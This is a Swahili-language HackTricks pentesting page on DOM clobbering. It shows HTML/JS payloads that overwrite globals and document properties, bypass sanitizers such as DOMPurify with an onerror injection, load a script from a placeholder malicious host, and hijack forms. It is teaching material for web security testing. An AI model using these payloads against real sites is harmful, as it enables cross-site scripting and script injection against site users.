hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2024-02-11 02:13:58 +00:00

12 KiB

Dom Clobbering

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Misingi

Inawezekana kuzalisha variables za kikoa za kawaida ndani ya muktadha wa JS kwa kutumia sifa id na name kwenye vitambulisho vya HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Ni vipengele fulani tu vinavyoweza kutumia sifa ya jina kuathiri globals, ni: embed, form, iframe, image, img na object.

Kwa kushangaza, unapotumia kipengele cha fomu kuathiri kipengele, utapata thamani ya toString ya kipengele lenyewe: [object HTMLFormElement] lakini na kiungo cha toString itakuwa href ya kiungo. Kwa hiyo, ikiwa unatumia tag ya a, unaweza kudhibiti thamani wakati inachukuliwa kama herufi:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Mafurushi na Vipengele

Pia ni inawezekana kuchafua mafurushi na vipengele vya vitu:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Kwa kufuta sifa ya 3 (kwa mfano x.y.z), unahitaji kutumia form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Kuweka alama zaidi ni ngumu zaidi lakini bado inawezekana, kwa kutumia iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} Tagi ya mtindo hutumiwa kutoa muda wa kutosha kwa kiolesura cha iframe kuonyesha. Bila hiyo, utapata onyo la "isiyofafanuliwa". {% endhint %}

Ili kufunika sifa za kina zaidi, unaweza kutumia iframes na uandishi wa HTML kwa njia hii:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Kuvuka Kichujio

Ikiwa kichujio kinapitia mali za kipengee kwa kutumia kitu kama document.getElementByID('x').attributes, unaweza kuvuka mali ya .attributes na kuvunja kichujio. Mali nyingine za DOM kama tagName, nodeName au parentNode na zingine zinaweza pia kuvukwa.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Kuweka window.someObject

Katika JavaScript ni kawaida kupata:

var someObject = window.someObject || {};

Kuathiri HTML kwenye ukurasa kunaruhusu kubadilisha someObject na kipengele cha DOM, kinachoweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha someObject na kipengele cha kiungo kinachoelekeza kwenye hati ya kudhuru:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Katika kificho kinachoweza kudhurika kama:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Mbinu hii inatumia chanzo cha skripti kuendesha nambari isiyo hitajika.

Hila: DOMPurify inakuwezesha kutumia itifaki ya cid:, ambayo haitoi URL-encode alama za nukuu mara mbili. Hii inamaanisha unaweza kuingiza alama ya nukuu iliyofichwa ambayo itadecode wakati wa runtime. Kwa hivyo, kuingiza kitu kama <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> kutafanya HTML encoded &quot; idecode wakati wa runtime na kutoroka kutoka kwa thamani ya sifa ili kuunda tukio la onerror.

Tekniki nyingine inatumia kipengele cha form. Maktaba fulani za upande wa mteja huchunguza sifa za kipengele cha fomu kilichoundwa hivi karibuni ili kuzisafisha. Walakini, kwa kuongeza input na id=attributes ndani ya fomu, unaweza kubadilisha mali ya sifa, kuzuia sanitizer kufikia sifa halisi.

Unaweza kupata mfano wa aina hii ya clobbering katika hii CTF writeup.

Kuchafua kipengele cha hati

Kulingana na nyaraka, ni rahisi kubadilisha sifa za kipengele cha hati kwa kutumia DOM Clobbering:

Kiolesura cha Hati kinasaidia mali zilizo na majina. Majina ya mali yaliyosaidiwa ya kipengele cha Hati wakati wowote yanajumuisha yafuatayo, kwa mpangilio wa mti kulingana na kipengele kilichochangia, ikipuuza nakala zinazofuata, na na thamani kutoka kwa sifa za id zinazokuja kabla ya thamani kutoka kwa sifa za jina wakati kipengele kimoja kinachangia vyote viwili:

- Thamani ya sifa ya yaliyomo ya jina kwa vifaa vyote vilivyofichuliwa vya embed, form, iframe, img, na vifaa vilivyofichuliwa vya object ambavyo vina sifa ya yaliyomo ya jina isiyo tupu na viko katika mti wa hati na hati kama mizizi yao;

- Thamani ya sifa ya yaliyomo ya id kwa vifaa vyote vilivyofichuliwa vya object ambavyo vina sifa ya yaliyomo ya id isiyo tupu na viko katika mti wa hati na hati kama mizizi yao;

- Thamani ya sifa ya yaliyomo ya id kwa vifaa vyote vya img ambavyo vina sifa ya yaliyomo ya id isiyo tupu na sifa ya yaliyomo ya jina isiyo tupu, na viko katika mti wa hati na hati kama mizizi.

Kwa kutumia mbinu hii, unaweza kubadilisha thamani za kawaida kama document.cookie, document.body, document.children, na hata njia katika kiolesura cha Hati kama document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Kuandika baada ya kufuta kipengele

Matokeo ya wito wa document.getElementById() na document.querySelector() yanaweza kubadilishwa kwa kuingiza lebo ya <html> au <body> na sifa sawa ya kitambulisho. Hapa ndipo jinsi inavyoweza kufanywa:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Zaidi ya hayo, kwa kutumia mitindo kuificha HTML/injini za mwili zilizoingizwa hizi, kuingiliwa na maandishi mengine katika innerText kunaweza kuzuiwa, hivyo kuongeza ufanisi wa shambulio:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Uchunguzi katika SVG ulifunua kuwa lebo ya <body> inaweza kutumiwa kwa ufanisi:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Kwa lebo ya HTML kufanya kazi ndani ya SVG kwenye vivinjari kama Chrome na Firefox, lebo ya <foreignobject> ni muhimu:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Kuziba Fomu

Inawezekana kuongeza vipengele vipya ndani ya fomu kwa tu kutaja sifa ya form ndani ya baadhi ya vitambulisho. Unaweza kutumia hii kuongeza thamani mpya ndani ya fomu na hata kuongeza kitufe kipya cha kupeleka (clickjacking au kutumia baadhi ya msimbo wa JS wa .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Marejeo

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!